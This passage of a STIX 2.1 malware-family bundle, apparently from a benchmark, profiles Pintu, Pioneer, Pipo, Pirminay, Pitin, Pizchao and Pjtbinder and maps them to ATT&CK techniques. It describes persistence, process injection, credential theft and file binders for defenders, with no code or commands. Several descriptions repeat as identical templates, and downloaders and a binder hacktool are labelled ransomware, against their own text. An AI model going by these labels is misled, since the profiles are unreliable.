      "description": "Trojan:Win32/Pintu is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Pintu</b><br>To an end-user, a Pintu infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Pintu is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Pintu is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Pintu frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Pintu reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 5)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Pintu",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/pintu"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e4237a43-6e50-5fc2-a405-fc65fe010f79",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1174b511-0000-5afd-97cc-c0e0faa39975",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pintu exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6a1fedeb-e276-51d0-872f-4932c99fb189",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1174b511-0000-5afd-97cc-c0e0faa39975",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pintu exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--07dfe574-818e-56a3-8767-19b979d8c506",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1174b511-0000-5afd-97cc-c0e0faa39975",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pintu exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2d6c68b7-89dd-5ace-bc2c-81a4746cc3e6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1174b511-0000-5afd-97cc-c0e0faa39975",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pintu exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--040187ce-c83b-5ef1-9d7d-adc77c394a42",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1174b511-0000-5afd-97cc-c0e0faa39975",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pintu exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--6384f23f-1d2d-5b80-ab7e-75877a5b2401",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Pioneer",
      "description": "Pioneer (identified across antivirus engines as Virus:Win32/Pioneer.A, Virus.Win32.Pioneer, and PE_PIONEER) is an advanced 32-bit Windows Portable Executable (PE) file infector first analyzed in 2006. Unlike conventional malware that runs as a standalone process, Pioneer actively searches local storage drives, removable flash disks, and accessible network shares to locate and infect legitimate Windows executable files (.exe and .dll). Pioneer is notable for employing an ingenious evasive infection mechanism: it hides its decrypted viral entry point within the PE relocation table while zeroing out the base relocation address table header. This manipulation tricks the native Windows operating system image loader into automatically executing the relocation and decryption routines when the host application launches, effectively bypassing static and heuristic antivirus scanners. Once a host application is launched, Pioneer runs its viral replication routine before passing execution back to the original host code, maintaining stealth while perpetuating its infection cycle across the filesystem. (Observed samples in benchmark: 203)",
      "is_family": true,
      "malware_types": [
        "virus"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Virus:Win32/Pioneer.A",
        "Virus.Win32.Pioneer",
        "PE_PIONEER",
        "W32.Pioneer",
        "Win32/Pioneer"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Pioneer",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/pioneer"
        }
      ],
      "labels": [
        "file_infector",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--66580d8d-241e-59e6-abb0-6f759b5d8bd0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6384f23f-1d2d-5b80-ab7e-75877a5b2401",
      "target_ref": "attack-pattern--0a1fb694-bbfe-5e7d-89e1-1f78720af865",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pioneer exhibits technique T1055.001 (Process Injection: Dynamic-link Library Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6d1a0a2d-81be-56c6-a414-270785d38c8b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6384f23f-1d2d-5b80-ab7e-75877a5b2401",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pioneer exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a0ae5b9d-1e17-50da-9856-66258323d216",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6384f23f-1d2d-5b80-ab7e-75877a5b2401",
      "target_ref": "attack-pattern--6ba42f78-216a-57bb-8f7c-b5271692217a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pioneer exhibits technique T1091 (Replication Through Removable Media)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b1eb51ce-0fc4-5d1a-9600-2b713a3e6885",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6384f23f-1d2d-5b80-ab7e-75877a5b2401",
      "target_ref": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pioneer exhibits technique T1059.003 (Command and Scripting Interpreter: Windows Command Shell)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5c3601d8-c5d4-5ba0-82b2-79ae036a8e74",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6384f23f-1d2d-5b80-ab7e-75877a5b2401",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pioneer exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--477a281e-cf5c-5857-9a62-dc9df596860f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Pipo",
      "description": "<h3>Executive Summary</h3>\nPipo is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nPipo is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Pipo operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Pipo ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Pipo receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Pipo infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Pipo executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Pipo frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Pipo",
        "Downloader.Pipo",
        "Win32/Pipo"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Pipo",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/pipo"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e5ec374f-5256-527b-870b-3ba2ac8df64e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--477a281e-cf5c-5857-9a62-dc9df596860f",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pipo exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2b8aaba0-024a-5871-8000-9231ac4376f9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--477a281e-cf5c-5857-9a62-dc9df596860f",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pipo exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f9e66cfe-b075-5785-b30e-8a2e921bf012",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--477a281e-cf5c-5857-9a62-dc9df596860f",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pipo exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--5f9cba6c-39b6-527f-af37-08bfbca7cebb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Pirminay",
      "description": "Pirminay (classified across security vendors as Trojan:Win32/Pirminay and PWS:Win32/Pirminay) is an information-stealing trojan designed to covertly harvest system credentials, cached passwords, and sensitive browser session tokens from Windows hosts. Distributed via spear-phishing emails containing malicious invoice attachments or weaponized macro documents, Pirminay executes environment discovery upon launch. It scrapes stored credentials from major web browsers (Chrome, Firefox, Edge), email clients (Outlook, Thunderbird), and Windows Credential Manager. It encrypts collected data with AES/XOR and exfiltrates it to remote command-and-control servers over HTTP/HTTPS POST requests. (Observed samples in benchmark: 13)",
      "is_family": true,
      "malware_types": [
        "spyware",
        "credential-stealer"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/Pirminay",
        "PWS:Win32/Pirminay",
        "Trojan-PSW.Win32.Pirminay",
        "Pirminay Stealer",
        "Win32/Pirminay"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Pirminay",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/pirminay"
        }
      ],
      "labels": [
        "infostealer",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ee2db76d-095b-5dc3-86e0-df2479e04139",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5f9cba6c-39b6-527f-af37-08bfbca7cebb",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pirminay exhibits technique T1189 (Drive-by Compromise)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b7e24970-4465-530e-a13d-17bf992b3287",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5f9cba6c-39b6-527f-af37-08bfbca7cebb",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pirminay exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cf3c0ae9-93d5-5b9f-815f-982f48f2cbc8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5f9cba6c-39b6-527f-af37-08bfbca7cebb",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pirminay exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--dcb92502-a614-5181-ba92-4b846651643f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5f9cba6c-39b6-527f-af37-08bfbca7cebb",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pirminay exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2094dfaa-585c-52b1-bebd-6d1b0867d6f0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5f9cba6c-39b6-527f-af37-08bfbca7cebb",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pirminay exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--c2f68b06-6246-5159-bca6-845a7a995a51",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Pitin",
      "description": "<h3>Executive Summary</h3>\nPitin is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nPitin is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Pitin operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Pitin ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Pitin receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Pitin infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Pitin executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Pitin frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Pitin",
        "Downloader.Pitin",
        "Win32/Pitin"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Pitin",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/pitin"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--699cad96-ff81-5f66-b058-53c98d4b00e1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c2f68b06-6246-5159-bca6-845a7a995a51",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pitin exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--77055c3c-96cc-57f5-8698-26ee9290031b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c2f68b06-6246-5159-bca6-845a7a995a51",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pitin exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0b95d1a0-5fdd-57ec-8914-280b036f9cd3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c2f68b06-6246-5159-bca6-845a7a995a51",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pitin exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--b8335b21-dd80-5b2b-acb2-4fad26c426a7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Pizchao",
      "description": "Trojan:Win32/Pizchao is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Pizchao</b><br>To an end-user, a Pizchao infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Pizchao is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Pizchao is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Pizchao frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Pizchao reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Pizchao",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/pizchao"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1f6135cd-a41a-54df-aac7-2a42df671771",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b8335b21-dd80-5b2b-acb2-4fad26c426a7",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pizchao exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5429054a-11e4-59c5-b33b-4ecefb82393d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b8335b21-dd80-5b2b-acb2-4fad26c426a7",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pizchao exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7097922a-3c12-5c1f-ba39-3ba181b495f1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b8335b21-dd80-5b2b-acb2-4fad26c426a7",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pizchao exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ddd4b8f1-a8a6-5991-9694-861776f0f583",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b8335b21-dd80-5b2b-acb2-4fad26c426a7",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pizchao exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bd564153-bf0f-5d33-9832-99ccc874f1ef",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b8335b21-dd80-5b2b-acb2-4fad26c426a7",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pizchao exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--c2beb045-4e4c-512a-8940-383f7f9466f9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Pjtbinder",
      "description": "HackTool:Win32/Pjtbinder is a heuristic detection for a specific family of 'File Binders' or 'Joiners'. These are specialized utilities utilized by malware authors to package a malicious payload (like a trojan, keylogger, or ransomware) alongside a legitimate, 'decoy' file (such as a PDF document, an image, or a game installer) into a single, cohesive executable wrapper. When the victim is tricked into opening this file, the decoy opens normally, providing a false sense of security while the malware silently executes in the background.<br><br><b>Understanding Pjtbinder (File Binders)</b><br>To an end-user, the execution appears completely normal; they click an invoice, and the invoice opens. For a security analyst, a file binder is a critical component of social engineering (`T1204.002`). It is designed to bypass human suspicion and often employs rudimentary obfuscation to bypass static antivirus signatures.<br><br><b>Execution and Deception Mechanics</b><br>Pjtbinder operates by creating a 'stub' executable (`T1027`). This stub contains both the compressed decoy file and the compressed malware payload. Upon execution by the victim, the stub extracts both files into a temporary directory (frequently `%Temp%` or `AppData`). It then uses the Windows API (like `ShellExecute`) to open the decoy file with its associated application (e.g., opening the PDF with Adobe Reader), while simultaneously launching the malicious payload (`T1055`) as a hidden, background process.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is entirely dependent on the hidden payload. Host-based IoCs are highly behavioral. EDR will detect 'Suspicious Process Spawning'\u2014for example, a seemingly innocuous document file (which is actually the compiled executable binder) spawning `cmd.exe`, `powershell.exe`, or dropping unknown binaries into the `%Temp%` directory immediately upon execution. Static analysis of the flagged file will reveal an executable with multiple embedded files or highly anomalous section headers. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Pjtbinder",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/pjtbinder"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2827dc4e-27c1-53f3-bec2-830b088f7f1b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c2beb045-4e4c-512a-8940-383f7f9466f9",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
